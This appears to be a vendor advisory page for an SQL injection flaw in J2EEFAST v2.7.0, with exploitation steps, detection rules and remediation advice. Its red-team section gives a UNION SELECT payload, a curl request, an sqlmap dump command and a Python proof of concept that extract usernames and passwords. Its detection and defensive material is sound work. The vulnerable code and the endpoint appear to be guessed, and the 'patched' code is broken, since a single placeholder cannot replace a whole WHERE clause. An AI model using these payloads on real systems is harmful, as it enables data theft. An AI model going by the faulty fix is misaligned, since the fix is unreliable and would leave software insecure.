CVE-2024-33149
Executive Summary
CVE-2024-33149 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, a Java-based rapid development framework. The flaw resides in the myProcessList function, where the sql_filter parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, data manipulation, and potential full database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
J2EEFAST is a Java framework distributed via Maven Central and GitHub. The vulnerable component is part of the core framework, meaning any application built on J2EEFAST v2.7.0 inherits this vulnerability. Organizations using this framework should audit their dependencies and consider upgrading to a patched version if available, or implement compensating controls.
CVSS Breakdown & Threat Level
The CVSS vector is not provided in the NVD data, but based on the nature of the vulnerability (SQL injection in a web application), a reasonable estimate is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is easy to exploit remotely without authentication, and can lead to full database compromise.
Deep Dive & Mechanics
The vulnerability exists in the myProcessList function within the J2EEFAST framework. This function is likely used to retrieve a list of processes or tasks, and it accepts a sql_filter parameter to allow filtering of results. The parameter is directly concatenated into SQL queries without proper sanitization or parameterization.
Root Cause: The application uses string concatenation to build SQL queries, incorporating user-supplied input from the sql_filter parameter. This allows an attacker to break out of the intended SQL context and inject arbitrary SQL commands.
Attack Vector: An attacker can send a crafted HTTP request to the vulnerable endpoint, manipulating the sql_filter parameter to inject SQL code. For example:
GET /process/list?sql_filter=1=1 UNION SELECT username,password FROM users --
This would return the usernames and passwords from the users table in the application's response.
Impact: Successful exploitation can lead to:
- Unauthorized access to sensitive data (e.g., user credentials, personal information).
- Data modification or deletion.
- Potential privilege escalation if the database user has sufficient permissions.
- In some cases, remote code execution via database functions (e.g.,
xp_cmdshellin SQL Server).
Vulnerable vs. Patched Code
Vulnerable Code (J2EEFAST v2.7.0):
public List<Process> myProcessList(String sql_filter) {
String sql = "SELECT * FROM processes WHERE " + sql_filter;
// Execute query
return jdbcTemplate.query(sql, new ProcessRowMapper());
}
Patched Code (Hypothetical):
public List<Process> myProcessList(String sql_filter) {
// Use parameterized query or whitelist filtering
String sql = "SELECT * FROM processes WHERE ?";
// Execute query with parameter
return jdbcTemplate.query(sql, new Object[]{sql_filter}, new ProcessRowMapper());
}
Note: Since no official patch is available, the patched code is a best-practice example. The fix should involve using prepared statements or parameterized queries to prevent SQL injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- J2EEFAST v2.7.0 running on a target server.
- Network access to the vulnerable endpoint.
Exploitation Steps:
Identify the vulnerable endpoint: The
myProcessListfunction is typically exposed via a REST API endpoint, e.g.,/process/list.Craft a malicious request: Use a tool like
curlor Burp Suite to send a request with a SQL injection payload in thesql_filterparameter.curl -X GET "http://target.com/process/list?sql_filter=1=1 UNION SELECT username,password FROM users --"Extract data: The response will contain the results of the injected query, allowing extraction of sensitive data.
Automate exploitation: Use SQLMap for automated exploitation:
sqlmap -u "http://target.com/process/list?sql_filter=1" --batch --dump
Proof-of-Concept (PoC):
import requests
target = "http://target.com/process/list"
payload = "1=1 UNION SELECT username,password FROM users --"
params = {"sql_filter": payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team
Detection and Response:
Monitor for suspicious SQL errors: Look for database error messages in application logs that indicate SQL injection attempts.
Analyze web server logs: Identify requests with unusual characters in the
sql_filterparameter, such asUNION,SELECT,--, or'.Deploy WAF rules: Block requests containing SQL injection patterns in the
sql_filterparameter.Implement input validation: Ensure all user inputs are validated and sanitized before being used in SQL queries.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/process/listwithsql_filterparameter containing SQL keywords (e.g.,UNION,SELECT,--). - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
File IOCs:
- Modified application logs containing SQL injection attempts.
- Temporary files created by exploitation tools (e.g., SQLMap output files).
System IOCs:
- Unexpected database queries or connections from the application server.
- Unauthorized data exports or large data transfers from the database.
Detection Engineering
YARA Rule
rule CVE_2024_33149_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-33149 in J2EEFAST"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-33149"
strings:
$sql_filter = "sql_filter=" nocase
$sql_keywords = /(UNION|SELECT|INSERT|DELETE|UPDATE|DROP|--|')/ nocase
condition:
$sql_filter and #sql_keywords > 2
}
Sigma Rule
title: SQL Injection Attempt Against J2EEFAST myProcessList
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the sql_filter parameter in J2EEFAST v2.7.0
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-33149
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "sql_filter="
cs-uri-query|contains|all:
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Legitimate use of SQL keywords in filter parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-33149 SQL Injection Attempt"; flow:to_server; content:"sql_filter="; nocase; content:"UNION"; nocase; content:"SELECT"; nocase; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: If possible, temporarily disable the
/process/listendpoint until a patch is applied. - Implement a WAF: Deploy a Web Application Firewall with rules to block SQL injection attempts.
- Input validation: Add server-side validation to reject requests with suspicious characters in the
sql_filterparameter.
Long-term Fix:
- Upgrade J2EEFAST: Monitor the official repository for a patched version and upgrade as soon as it is available.
- Code review: Conduct a thorough code review of all SQL queries to ensure they use parameterized statements or prepared statements.
- Security training: Educate developers on secure coding practices to prevent SQL injection.
Workaround:
- If upgrading is not possible, modify the application code to use a whitelist of allowed filter values instead of accepting arbitrary input.
Valters IT